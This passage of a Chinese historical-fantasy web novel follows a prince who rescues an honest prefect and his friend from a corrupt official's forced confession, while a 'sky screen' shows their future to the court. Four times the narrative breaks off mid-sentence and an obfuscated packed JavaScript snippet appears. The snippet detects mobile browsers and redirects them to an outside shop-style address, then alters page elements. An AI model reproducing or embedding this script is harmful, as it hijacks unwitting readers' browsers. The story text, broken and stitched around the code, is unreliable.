茶杯旁边是他之前正在犹豫的公文——关于修建海防前线的建议公文,那是君和留下的最后一道自上而下的建议。 按察使飘飘忽忽地拿起笔,作势就要往公文上画。 枭雨终于还是忍不住了,他作揖开口:“这支笔系着多少无数人的命,望大人慎之!” “慎之?有什么可慎的?” 按察使看着那份公文,露出一个讽刺的笑容:“这公文不用管,放这儿再压三天,三天之后,金陵的正式判决下来,就没用了啊,只能是废纸一张,废纸一张啊!” 按察使说到这里甚至有些畅快。 枭雨闭上了眼睛,对方说的没错,因为发公文的人已经死了。 君和已经死了,而他和吴家正在步向君和的后尘。 按察使笑着说:“我改主意了,一天时间还是太长,不够体现枭兄弟你的英勇,还是一场轰轰烈烈的大火更配得上你的退场……相信枭兄弟你也是这么认为的是吧?” 枭雨站在公堂中间沉默。 看来他们真的很急,急到要拿他畏罪自杀自焚知府府邸来找借口再蒸发几万两。 可惜再死十个临安知府也补不上这份窟窿。 枭雨几乎是在冷笑:“火在哪里?” 按察使身边的侍从阴阳怪气地拉长了音:“哎呀,回您的话,这不还没放呢吗?” 这已经是完全不把他放在眼里了,在按察使这个老家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812685|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼里,枭雨这个一没背景二没出身三没保护伞的临安知府实在是太合适的替罪羊了,合适到他忘了羊被逼急了也是会顶人的。 “给我一日时间,我要疏散亲眷,这把火要烧起来,也只能烧我一个人。” 枭雨还是那个要求。 按察使冷冷地抬头,刚想说竖子大胆,就见枭雨露出了一个非常阴暗的笑。 “否则在六皇子的巡抚队伍来临时,不该说的我绝对不说,该说的我也一个字都不会说。” 无论需要他认罪入狱还是畏罪自尽,顺便再烧走多少万两白银,按察使都需要他在见过巡抚队伍之后再按照安排顺理成章地进行,让“真凶”自然而然地浮出水面,这样的话各方都是大功一件,只需要死一个临安知府,就能让所有人都高兴。 否则的话过于欲盖弥彰,哪怕打点过了黑龙卫,云起帝也不会相信这太过巧合的事情。 枭雨知道自己为什么被逼着站在这里。 因为人微言轻, 因为人微言轻,所以他说什么都无所谓,他的辩驳是世界上最不重要的东西,他的想法也不可能有人在意,他想护住的家人亲眷现在随时被一把火威胁着,他想改变的现实在当了三年临安知府后也无法改变。 他甚至就连自己也保护不了,只能被推着走。 但因为对方有利可图,在临死前的这一段时间,他的人微言轻,突然变成了人微言重。 因为想要得到那个所有人皆大欢喜的最好的结果,必须要他这个知府全程的配合。 更何况现在,将死之人,忍无可忍,无需再忍。 “你威胁我……?” 按察使眯起了眼睛,像是一只腐朽但狡诈的老狐狸。 “先威胁别人的明明就是你!” 枭雨笑了,他刚想开口,却听见一阵急匆匆的脚步声冲了过来,接着是那个熟悉的大嗓门在他耳边炸开。 他都不用转过头,都能想象到吴淖拨开侍从冲进来的傻呵呵的样子。 “大胆!再敢咆哮公堂!” 按察使也没想到吴淖能这么不顾一切地冲进来,他拍案而起,试图用古制压吴淖。 但是吴淖这玩意儿天生不听压,更来劲了:“好啊,现在你讲法律了,那你们现在就拿金陵发来的正式文书来给我们看!有没有?没有正式文书,就想杀人,这是要干什么?!” 按察使被气的不轻:“侍卫,给我拿下这个擅闯公堂的家伙!” 吴淖挡在枭雨身前,高高举起自己的令牌:“我是江南按察副使!大乾有律!无令私自扣押朝廷命官者处杖刑乃至偿命,谁敢!” 那些侍从居然一时间真的被他的气势吓得顿在原地。 明明是很让人感动的场景,但枭雨只想去死。 问题是……在他们的约定中……他大爷的吴淖这个没脑子的玩意儿的任务是去找六皇子!!! 只要把六皇子尽快带到这里,水就瞬间能被搅浑,各方势力一到,什么都好说了,按察使再嚣张也不可能当着众多势力组成的使团的面杀他。 所以吴淖这个傻子到底是在干什么?为什么要自己跑回来?!】 21.年少时不要遇到太惊艳的君主(天幕) 在被守卫团团围住的情况下,吴淖这个傻子居然还有空回头向枭雨解释。 年轻人露出有些不自然的笑容,这个时候,看天幕的人们才意识到,虽然身居高位,但是这位世家子弟也就二十出头,行冠礼没多久,头发都扎的乱七八糟的。 “枭雨你放心,虽然我在官场一道上确实很需要你的帮助,但是——我也不是真傻子嘛!” 吴淖一边注意着身边跃跃欲试的侍卫们,一边苦笑低声道:“我为什么回来?因为我刚准备出发,就收到了六皇子的加急回书,他说他正在跨马加鞭赶来的路上。” “枭雨,我们也算是一起长大的,又一起在吴家的书院上学,十年寒窗考取功名,现在也让我们一起相信一次吧。” 相信奇迹会发生,相信一个傻子,会因为一份求救,和公义的不平而赶来。 相信一个傻子,一个能被云起帝任命为新的江南巡抚,敢接下这个烂摊子的傻子,是比太子和三皇子都要好的选择。 他们甚至不奢求那个傻子能多做出什么,只要能赶到这里……只要能赶到这里就好。 只要六皇子能赶到这里,多方制衡之下,他们一定不会死。 按察使那不动如山的冷静终于破碎,他没有想到只是把黑锅扔给一个就连吴家自己都放弃了的临安知府居然会这么困难。 真是好笑,面对那些金陵城的大人物,甚至面对他都明明如蝼蚁在世,为什么还要挣扎着不肯死去呢? 这个世界明明从来都没有公义二字可言,这种笑话他年轻的时候也是信的,被官场教做人之后,他就再也不信了。 而现在这两个出庐稚子凭什么? 一种无法形容的情绪在按察使的心中萌发生长,搅碎了一切。 于是他开始变得歇斯底里:“所有人听令!给我拿下副使,拦住副使者重重有赏!职阶连升三级,还有一百两赏银!” 周围的侍从们眼睛一下子亮了。 按察使心想,这是必要的行动,哪怕和吴家撕破脸他也必须这么做,他必须在今天让枭雨签了认罪书,否则等六皇子一到,他的任务就完不成了。 按察使感觉自己的意识都有些恍惚,他仿佛能看到金陵城的大人物正高高在上地望着他,枭雨的身后是一府亲眷,他的身后又何尝不是一府亲眷呢? 堂上空气骤然凝固。 按察使话音未落,两名侍从在赏银的驱使下已如饿虎般扑向吴淖。这位世家子猛地后撤半步,手中已多了一把铁尺——刑名随身携带的礼器。 “正使大人,你若执意如此,那学生就得罪了!” 吴淖腕抖尺扬,他少年时在书院曾习武,虽不及沙场悍将,但比起枭雨来说好了不止一星半点,寻常差役尚可周旋。 铁尺与制式腰刀相撞迸出火星,竟暂时逼得两名衙役近身不得。 按察使怒极反笑:“好个吴家人!本官倒要看看,你能撑到哪一步——本官改主意了,只要不死,诸位尽可随意处置这位好副使!” 这下眼睛亮起来的侍从变得更多了。 “小吴大人,得罪了!” 跟在按察使身边的侍从瞬间动了真格,哪怕吴淖小时候在书院里练武的时间再长,现在面对远多于自己的人数也有点支撑不住。 而且……他发现这帮家伙好像真的敢玩真的。 “等等——!你们,你们开什么玩笑,往哪里砍呢?玩真的?喂喂,知道家父是谁吗?我不信你们真敢砍我——我靠!你们真砍啊!” 吴淖警惕地盯着那些越围越近的侍从,从刚刚开始他就觉得按察使没憋好屁,就是没想到那些侍从在听见按察使的吩咐之后居然真的拿着刀就上来砍。 “你们真敢砍我的话,我父亲不会放过你们的!还有你!” 铁尺拦不住数把腰刀,吴淖吓得连忙后退几步避开侍从的攻击,那些侍从没有和他开玩笑,手中的制式佩刀落下后,在地面上留下了一道深深的痕迹,毫不留情。 按察使这个老登彻底和他们撕破脸了……吴淖吓得声音都在发抖,但还是挡在枭雨前面,没有让开一步。 “哈哈哈哈———说你是公子哥还真是公子哥啊,快点认清自己的地位吧,我们家大人说不定还能看在你家大人的份上饶过你。” 挥刀的侍从逼近,数人齐上,吴淖根本不是对手,但他依旧没有退缩。 甚至连说句软话都不愿意。 “呸,衣冠枭獍之辈!这案子平不了,就是因为你这种人太多!” 吴淖面对着几把凉森森的刀,眉毛一横,反而更加嚣张了,枭雨在后面拉都拉不住:“你少说两句,算我求你——” 这人是怎么做到救人结果把仇恨全都拉到自己身上去的,现在好了,按察使眼中只有吴淖,连枭雨都快忘了。 吴淖还在A,他厉声高喊:“你就等着吧!史笔如刀,必然不会放过你——” “看来你是不见棺材不落泪,也好,本官正在想从哪里再多找几个平账的,既然你这么积极——那你也来签。” 吴淖这话骂的很难听,而且还是对着自己的上司,按察使几乎是一瞬间就黑了脸色,他挥挥手,目光阴狠起来:“你父亲会感谢我的。”】 “直家贼!谢你全家!” 因为之前的天幕内容而倒在院子里起不来的吴父突然又有了力气,吴诚气得跳起来指着按察使大骂:“那是我儿子!我说不要了吗你就杀!要是我儿子真出了什么事我和你没完!” 【“家父才不会。” 吴淖却露出了一个很灿烂的笑容:“我父亲从小到大都教育我律法威严,教育我至善至美,他犯的唯一错误就是没能看清你是个什么样的人———” 枭雨已经扑上去捂吴淖的嘴了:“算我求你了你快闭嘴吧!”】 天幕外,姑苏城吴府。 吴诚闻言却大哭起来:“儿啊还是你懂父亲啊!不愧是我的儿子!父亲现在最后悔的就是把你交到了那混蛋手里当官啊!” 吴家家仆:……什么叫亲生的,这就叫亲生的。 【“不用再小心了,直接按住这两个人,让他们先把认罪书签了。” 按察使已经懒得生气,他丢下这句话,那些侍从迅速转移了目标,转而冲上来开始控制两人。 枭雨最先被按住,一支蘸饱了墨的狼毫硬塞进他指缝,笔杆硌得他指节发白。那封摊开的认罪书也递到了他的面前,那封书上,字字句句早已罗织成铁案,只等他一个签名,便能将他连同那座临安知府府一同拖入深渊。 按察使踞坐在上首,他现在又恢复了从容,好像刚刚的歇斯底里是两人的错觉。 他慢条斯理地用杯盖拂去茶沫,声音温和得像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16819331|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊家常:“枭知府,何必呢?早些画押,少受些皮肉之苦,也全了你我同僚一场的情分。” 枭雨只是呆呆地盯着那墨迹未干的纸张。 吴淖还在喊:“此案疑点重,账目不清,刑证不足,岂能凭一纸认罪书定案?此非司法,此乃逼供!” 他被死死按在地上,脸颊贴着冰冷的地砖,挣扎着抬头,眼里却只写着三个字:不能签。 可是穷途末路。 枭雨的手在颤抖,他知道,这一笔下去,不仅是他自己人头落地,更是坐实了几万官银的“去向”,他将彻底成为这一窝蛇鼠的帮凶。 可是他又能怎样呢?六皇子眼看是来不及了,他再这样挣扎下去,不仅依附于他的家人活不了,就连吴淖也会被他牵连。 “签!”按察使的声音失去了耐心。 侍从抓着枭雨的手,强迫他握笔,朝着那认罪书的落款处挪去。 吴淖目眦欲裂,嘶声喊道:“枭雨!你不能签!” 枭雨手中的笔尖颤抖着,眼看就要落下。 “咻——!” 一道破空声毫无征兆地撕裂了堂内凝滞的空气。 银光如同九天寒星,自紧闭的门外穿透窗棂薄纸,以肉眼难以捕捉的速度冲入——那是一柄腰刀,看制式,是金陵兵马指挥司的佩刀。 “砰!” 刀背准无比地撞在正要强按枭雨画押的那名侍从的手肘上。 那侍从只觉得整条手臂瞬间酸麻剧痛,失去了所有力气,不由自主地松开了枭雨,踉跄后退。 佩刀被弹开后,带着一股巧劲,刀柄因为作用力向上弹起,不偏不倚正砸在按住吴淖身后侍从压制对方的手腕上。 侍卫手腕吃痛,五指一松,竟也松了手,给了吴淖反应的时间,直接跳起把那侍从一脚踹在了地上。 那利刃在空中旋出半轮冷月,最后不偏不倚直直插进枭雨身前的青砖地缝,距那按着他的侍从仅一寸之遥,逼得那人不得不惊惶后撤,不能再重新压制枭雨。 堂内陷入了一种诡异的死寂。 “吱呀——” 随着刀落地,那扇紧闭的厅堂大门也被人从外面缓缓推开。 阳光瞬间涌入,将堂内的昏暗切割得支离破碎。四散的光柱中,有尘埃在舞。 一个身影逆着光,站在门口。 光线太强,勾勒出他挺拔而略显单薄的轮廓,面容在背光中模糊不清,只能看到一个大致的少年身形。 他穿着一身白色圆领袍,高高束起的半扎马尾,眉间束着一道银制东君云纹抹额。 按察使抬头望去,脸色瞬间变了。 站在门槛前的人正是新任江南巡抚,代圣上御巡的六皇子萧川。 按察使反应很快,迅速低头作揖:“臣惶恐,殿下为何至此?” 萧靖川歪头咧开一个纯然无辜的笑容,声音却清朗如玉石:“我觉得有人需要我,所以我就来喽!” 六皇子的笑容比吴淖还傻,但是他的气息明显不稳,显然是偃车换了马匹一路驰赶而来的。 枭雨揉着自己的手腕,呆呆地望着面前那个比他要小好几岁,甚至尚未及冠的年轻人,恍若看见圣君在世。 那么…… 傻子会回应他们吗? 居然是会的。 而且……正正好好。】 22.若东君东出扶桑(天幕) 不光画面中的枭雨呆住了。 金陵城中能看到天幕的好多和枭雨保持同样想法的官员都呆住了。 他们想过六皇子不会坐以待毙,或者说两党中的另一党不会坐以待毙,但是他们没有想到,以马代车一路疾驰而至,抛出腰刀干净漂亮地拦下了两个侍从的人,居然是六皇子本人。 这和当年在断乾之乱的漫天黄沙里听到久违的人马步声,抬头一看发现来人是当年的云起帝有什么区别? 本应高高在上的被效忠者居然落到地面,亲自来救你。 谁敢妄想这种事? 云行殿中的太子也呆住了:不是?老六这家伙不是个傻子吗?!他明明是个傻子啊! 难不成这家伙居然有如此意志,卧薪尝胆装傻子装了十九年? 太子咬牙切齿,这可是欺君之罪!看一会儿他不好好地参上这混蛋一笔! 想到这里,他又几乎想大笑了。 东皇太一佑我,太子心想。忍辱负重卧薪尝胆十九年又有什么用?六皇子要是一直装下去还值得警惕,但是现在在天幕看来,还不是一出金陵城就忘记了自己有几斤几两,得意忘形露出锋芒? 可惜啊,老六还是太不了解他们的这位父皇了。 欺君之罪,十九年的欺君之罪,能有什么好的下场?太子几乎已经看到了萧川处理完江南事物后,被云起帝用来作为安抚世家的代价,鸟尽弓藏的凄惨下场。 老六啊老六,你不是傻子,还不如真的就是个傻子呢……除非……除非你有凌驾于从断乾之乱走出来的父皇的手段。 可是这怎么可能呢?萧川只是一个从出生起就一直呆在深宫的无能皇子,甚至不久前还被老三那个阴险母妃扔到诏狱里。 太子放了心。 【“殿下!” 金陵城众人都很熟悉的顾小校尉顾月紧跟着六皇子一起冲进来,腰间原本应悬挂佩刀的地方,此刻空空如也,只剩刀鞘,显然就是刚刚扔出去的那把兵马指挥司腰刀的主人。 金陵城人人都知道生来痴傻,有智力缺陷的六皇子这次冲的这样快,就连在军伍里长大的顾月都追不上,而他的目的却是为了救两个素未谋面的官员。 太荒谬了。 按察使想,怎么会有这么荒谬的事情,但是没有时间给他犹豫。 因为六皇子已经来到了他面前,加封江南巡抚的六皇子即使不算皇族血脉也是他的上司,按察使只能恨恨地站起身,让出主位。 而传说中痴傻的六皇子大大咧咧地坐了上去,就好像他理应坐在那里,半点看不出刚从诏狱出来的样子。 “诸位……有什么话,现在都在我面前来好好说一说呗。” 萧靖川翘着二郎腿坐在主位上,好像那只是一个平平无奇的马扎,而不是江南地区的至高权位。 “毕竟……不管怎么样,咱的目的不都是解决江南这事吗?”】 (笑死我了老六你坐姿怎么和我大爷夏天在村口扇扇子的时候一模一样) (太祖之风是这样的,乾太祖之风……都怪萧靖川,人家武帝好好的孩子十九岁初出茅庐一cos你就变成混混了) (别的先不说,现在的ai复原技术是真的发达啊,还原的历史场景和真的一样,尤其是六皇子,在我的想象里六皇子就该是这个样子。) (我要是枭雨我已经沦陷了,武帝现在才多大?还没及冠吧?我记得应该是十九。) (谁说不是呢,本来以为最糟糕的选择没想到突然变成惊喜,就好像你自己家平时只能考二三十的傻儿子突然考了100分一样) …… 枭雨的下场,以及弹幕之后又说了什么已经没有人在意了。 所有人都被那轻飘飘的“武帝”两个字击中了灵魂,那一瞬间几乎就连金陵城的风都停了下来,不敢再吹。 “结束喽!” 国师府中,正在和陈粟下棋的国师捋着自己的白胡子盈盈地笑了:“没想到啊,老陈,我们之间互相斗了这么久,最后居然是这位名不见经传的六皇子赢下了棋局。” 陈粟倒没什么很明显的反应,扶持哪个皇子上位对他们这种绵延多年的世家来说都无所谓,他很快将视线从天幕转移到面前的棋局上:“国师这话说笑了。我们何曾斗过?满朝文武未来不都是六殿下的肱骨吗?” 国师大笑起来:“还是老陈你会说话。” 一句话就把之前的一切全都覆盖了,好像什么都没有发生过。 就是……可惜了他提前布置好的君右丞。 陈粟想。 “怎么可能……怎么可能……” 云行殿中,跪倒在地的太子刚想上参六皇子欺君之罪,却看到了满天幕弹幕的“武帝”二字。 放心放早了! 如果他没有理解错的话,天幕上那些人的意思是——六皇子,这个他痴傻了十九年的弟弟,就是扶桑使者口中再造大乾,完成了云起帝都没能完成的伟业的……乾武帝?! 完蛋了,太子这个名头终究还是离我而去了。 太子心想,这还抢什么啊,人家老六真比老爹还厉害,都和太祖去论前后了,那他还挣扎什么? 想到这里,大皇子萧泽突然感觉到一阵前所未有的轻松,好像一直扛在肩上的某个巨大且厚重的包袱终于落了地,他再也不用夜夜无眠地思考要如何与老三党党争,如何讨得父皇的安心,又如何让父皇满意了。 提前退休咯! 萧泽甚至感到有点高兴。 三皇子萧涣的脸色却相当难看,他不是大皇子那样的傻子,他知道自己一开始之所以能和占长占嫡的兄长形成隐隐对抗之势,完全是父皇故意放纵的结果。 所谓的三皇子党中,唯一重量级的国师都是云起帝的直系,他明确地知道没有世家支持的自己不可能有继承大统的希望,充其量他只是云起帝给太子准备的磨刀石,一个被云起帝精心打造的,太子前行路上最完美的敌人。 但是萧涣想的要比太子长久,他和太子斗了那么多年,如果太子最后也没成功,反倒是这个横空出世的六皇子登临大统……那样的话,他不就必死了吗?! 他的母妃可是刚刚把老六扔进了诏狱里,还找人要杀他啊! 三皇子已经开始思考自己要用什么办法,才能神不知鬼不觉地假死润走了。 与两个皇子或震惊或绝望的情绪不同,云起帝甚至称得上冷静地望着天幕,他指尖摸索着手里的茶盖,脸上平静到看不出他的情绪。 “父皇——!” 太子反应过来后第一反应还是看向云起帝,他这个习惯即使当了太子也没有改变,在茫然无措的时候总是看向自己的父皇,希望他能帮忙拿个主意。 按照往常的情况,云起帝一般都会象征性地给个安抚的眼神。但是这次云起帝没有,他甚至没有看他的太子。 “萧泽。” 他第一次直接呼唤了太子的名字。 “你能做到后世的评价高于老六吗?” 萧泽有点委屈,父皇也太现实,这就叫他大名,叫萧川老六了。 但他还是叩首:“儿臣无能。” 武帝的功绩可是能与太祖打的有来有回的,神仙打架他这个凡人当炮灰的自知之明还是有的。 完全失去了夺嫡之心的萧泽心想。 “安排下去吧。” 云起帝站起身,卢公公点头应诺。 南乾将易储,至少现在是。 “对了。” 准备离开的云起帝突然又想起什么:“告诉黑龙卫,那个按察使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16823269|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直接处理,不必走刑部流程。” ** 临安城郊外。 萧靖川四人没有坐车,而是纵马狂奔,事实上,在枭雨和吴淖出现在天幕上的第一时间,他们就各自在队伍里领了匹马,快马加鞭冲向临安。 这两个人被扶桑使者提到,一看就是江南贪污案的重要对象,必须尽快保护起来。 点翠和顾月都在为萧靖川的掉马而高兴,只有君右丞忧心忡忡,加快速度追上最前面的萧靖川,和他错了半个身位告诫道:“你就真的一点都不打算装?” 萧靖川完全不在乎:“开什么玩笑,我晏末面对晏军,三王之争的时候面对楚巫王都不装,凭什么给这爹孙子装儿子?” 一点都装不了。 “更何况……”萧靖川甩了马鞭加快速度,声音几乎融化在风里:“右丞,你明明最清楚,我们没有时间浪费在南乾。” 南乾的情况比他想的还要糟糕,官位待价而沽,官官相护已成旧俗,那位按察使仗着背后有金陵的大员,居然敢压着朝廷命官签署莫须有的认罪书,南乾看起来比北乾稳定富庶,可内里完全就是一个被腐烂的空架子,只需要有人轻轻一推就会粉碎。 而现在,六部居然还在内斗。 君右丞不再说话,他理解萧靖川借着天幕毫不掩饰地做这一切的根源。 那是愤怒。 ** 临安城。 枭雨和吴淖没能跑掉。 天幕一播放完,两个人就一起被按察使按在了公堂里,完美地还原天幕上的画面。 老人剥去慈眉善目的外皮,露出里面的阴冷,按察使走过两个被按在地上的下属,似笑非笑。 吴淖一如既往,张口就让人爆炸:“正使大人,您要死了。” 枭雨跪在地上,只想哭,回来了,都回来了,明明有天幕预兆未来,但他还是走到了这一步! 他已经懒得再去捂吴淖的嘴,因为他现在并不担心自己的下场。 按察使不怒反笑:“哈哈哈哈哈——死,是啊,我要死了,金陵不会放过我,现在你们满意了?” 吴淖还在刚,他只是冷漠地看着这位上司:“咎由自取。” “咎由自取……好一个咎由自取,既然我要死了,你们也别想好过,如果不是你们,我的未来也不会被扶桑使者的天幕暴露,既然如此——你们和我一起去死吧!” 歇斯底里的按察使猛地挥手:“杀了他们!杀了他们!” “叮———” 月光般的腰刀再次划过,按照熟悉的轨迹击退了那两个按着枭雨和吴淖的侍从——天幕中的画面在现实完美还原上演。 心中怀有希冀的枭雨想。 来了!果然来了! 枭雨快要热泪盈眶。他本能地抬起脖颈,不顾长时间跪叩导致的视线昏花,目光投向那混乱的源头。 逆光。 漫天漫地的金光,从洞开的大门汹涌而入,将整个昏暗的厅堂照得亮如金銮。也刺痛了他久在阴暗中的双眼。 光下尘埃如金粉,仿佛有神明踏光而来。 在那一片令人眩晕的光明中央,立着一个身影。 “哎呀,怎么不长记性呢,一次也就罢了,第二次还这样,这位老叔叔,我都知道的道理,你看起来好像不懂啊。” 萧靖川笑盈盈地抱臂靠在门前,他比天幕中看上去还要清明,那双银灰透金的眼睛逆着光,灿若东君东出扶桑。 六皇子转身,向两人眨了眨眼。 “枭知府,吴副使,这次不用你们求救,我就来了,及时吧?” 如天幕上一样,传闻中痴傻的六皇子就这样以一种摧毁性的姿态,将他们再次从绝望的深渊边缘硬生生拽了回来。 一如未来。 23.西湖歌舞几时休(天幕) 【ai制作的武帝这一眼多少人沦陷了?我不知道,反正我沦陷了。】 扶桑带着笑意的声音在天幕上响起,虽然是ai生成,但是完全一比一还原现实的短片播放结束,画面重新回到了熟悉的扶桑身上。 针对某些特定的人,即使离开了金陵城,那座奇怪的天幕依旧存在在那里,比如萧靖川四人,抬头就能看到怪异的天幕高高地挑在天边。 按察使平静地接受了自己还是没能一带二回本的命运,萧靖川吩咐下面的人先把这家伙看管起来——等金陵那边来了消息再说,要不然真成心怀不诚染指皇权的反贼了。 他现在需要做的事情是为云起帝展示自己的价值,首先就是代云起帝处理好江南的烂摊子——真要撕破脸那是下下之策,能和平地解决事情就和平地解决,这一直是萧靖川的行事准则。 弹幕还在继续播放,萧靖川干脆选择在临安公堂看完这次的天幕再说,反正这里有现成的桌子和椅子,他甚至挥挥手,让还怔怔发愣的枭雨和吴淖一起坐下,一点金陵来使的架子都没有。 旁边围观的临安衙役都震惊了:这真是金陵来的皇子吗? 萧靖川望着这里可以眺望到的西子湖,一边嗑瓜子一边感慨:“哎呀,这湖心岛真好,要是设计个亭子,在里面观雨观雪不知道多有滋味。” 君右丞心道这简直是地狱笑话,后世的西湖湖心岛多亭台楼阁,但是湖心亭却不是因为所谓景美而闻名,而是因为一场数百年的大雪。 他拉回自己的思绪,强迫自己从穿越者君右丞变成乾开国相国君右丞。 “你就这么信天幕,居然敢赌?” 君右丞座位离萧靖川最近,趁其他人落座,他低声问道。 大乾的相国永远改不了这爱操心的毛病。 萧靖川看向君右丞,同样低声回道:“比起信天幕,我更信自己,放心吧老君,我看人的眼光,什么时候错过?” 萧靖川抬头,一手指向远处,厅堂里的窗户在白天都为了采光高高挑起,从这里向外眺望,能看到那不远处杨柳依依的青翠西子湖。 “老君……你还记得吗?乾初临安受战乱所困,西子湖几为淤湖,而现在……它变成了这副美丽的样子,几乎和晏时一致。” 萧靖川用只有他和君右丞能听到的声音轻声道。 在亲自接触到枭雨前,萧靖川就觉得天幕上有那种目光的人绝不会是碌碌无为之辈,他对那种目光太熟悉了,在三王之争和晏末的乱世中,他看到过许多拥有那样的眼神的人,那些人无一例外都挣扎着在乱世中活了下来。 而在亲自接触到枭雨后…… 萧靖川还记得自己在路上拿出照骨镜时看到的东西——镜子中属于枭雨的人才卡上,赫然写着八个字:【平成先生,在世禹工】。 那是对治水大师最高的尊称,《尚书·大禹谟》曾曰:“地平天成。”赞颂成就“水土既平,万物天成”的不世之功。 照骨镜的评价同样来源于后世,从他和其他三友的乾初评价中就可见一斑,那么—— 未来会发生什么事,让枭雨得到此等评价呢? 不论如何,这样关键又稀少的人才先握在手中再说。 毕竟……如果照骨镜说的是对的,那么枭雨这簇雨水困在西湖已久,绝不会永远只在这里。 如萧靖川所说,天幕上的扶桑顺势将话题转到了枭雨身上。 【大家应该都不陌生吧?武帝陛下第一次在政治舞台上登场亮相,就救下了两个乾中时期的重量级角色。一个是谁都敢怼正到发邪的未来刑部侍郎吴淖,一个就是我们赫赫有名的水利大师,但自己一生却没能做过任何水利项目的枭雨。】 【那个时候,历史上著名到能和某海姓男子并列的清吏吴淖还是个四品刑名,而我们号称“继禹李之后”的水利工程专家也只是个临安知府。虽然这话有凡尔赛的嫌疑,但是对于枭雨来说,临安知府的确不是他能大展身手的官职,不过他也做得不错就是了。】 (四品知府啊,还是临安的知府,多少人削尖了脑袋都当不成,这是真的凡尔赛) (但是你还真别说,对于后面加封都水清吏司郎中的枭郎中来说,知府真的不适合他,不是官不够大,只是单纯的不合适) (毕竟枭郎中他母亲那边可是……墨门之后啊。) (由此可见南乾简直是在乱用人,北乾的丞相看见都要馋哭了:你不用的水利人才给我啊!) (绷不住了我们北乾丞相好命苦,一边肘击朔一边被黄河肘击) 心惊胆战地和现在的六皇子,未来的武帝坐在一起的枭雨抖了抖,不是,天幕的主角怎么突然变成他了?他人微言轻,真的人微言轻啊啊啊啊,放过他吧! 但是看到天幕和弹幕对他的评价,枭雨却愣住了。 是啊,他的母亲可是……墨门之后。 枭雨想起了自己一开始的抱负。 寒窗十年,考取功名,但他明明……不是想当临安知府的。 枭雀者,墨鸦也。 在天幕和弹幕的影响下,有一个声音在他的脑海中质问。 枭雨,你还记得你母亲的家学,你的师承吗? 枭家本姓什么,你还记得吗? 枭雨想,他还记得。 枭家的本姓……是孟。 他的心声与天幕的声音交叠在一起。 【枭雨的出身可不平凡,虽然家里很穷,据说连灯都买不起,只能凿壁偷光……但是父亲可是正儿八经地出身自姑苏吴氏旁枝,尽管只是旁枝,可那时候的吴氏是盛极一时的世家大族,哪怕当时已经衰落,也门生遍布各地,吴氏家学繁盛。 而枭雨的母亲……那就更不得了了。 枭雀者,墨鸦也。 先秦时墨家巨子孟胜,以忠义和守信著称。为守护阳城君之托,与一百八十多名弟子集体殉义。为避敌祸,孟家残余后人仓促改姓为枭,以纪念墨鸢之意,避世而居。】 云起帝叹了口气。 这次他是真心实意地叹气了:“君和啊君和……墨门后人被你吏部用来当知府,如此乱用人才,那一剑你真是受的不冤。” 三皇子嘴角抽了抽:这也能给自己洗? 临安公堂。 几乎是一瞬间,整个堂里所有人的视线都聚集在了枭雨身上。 怪不得能得到“禹冰之后”如此高的评价,原来是墨家后人。 萧靖川心想。 “枭兄大才啊!” 尤其是君右丞,好像看到了免费的核动力牛马一样,眼睛亮的可怕,让得到人才的萧靖川都有些恐惧。 枭雨也吓得缩了缩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16827517|189984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【不过枭雨也挺倒霉的,年少的枭雨为墨家家传之学而惊艳,自以为学已有成,见黄河水患频发,遂向当时灵帝当政的都水清吏司上书治理黄河水患的良方,但是都水清吏司却满不在乎。 看在吴家的面子上,他们只回了一封信,告知还在期待的枭雨——朝廷并不打算兴修水利。 枭雨问:既不打算兴修水利,如何治理黄河水患? 都水清吏司答:西行。 乾灵帝以九五至尊亲自西行礼佛,恭迎佛祖舍利,如此诚心,天地怎不会为之动摇?相信黄河河伯也会为之动容,停下对两岸民众的灾祸。】 萧靖川捂住了脸。 远在云行殿的云起帝也捂住了脸。 和乾灵帝一样姓萧真是他们的耻辱。 不过对这段天幕最动容的还是叙述的主角。 太眼熟了。枭雨心想,天幕上说的还真就是他曾经经历过的事情,分毫不差。 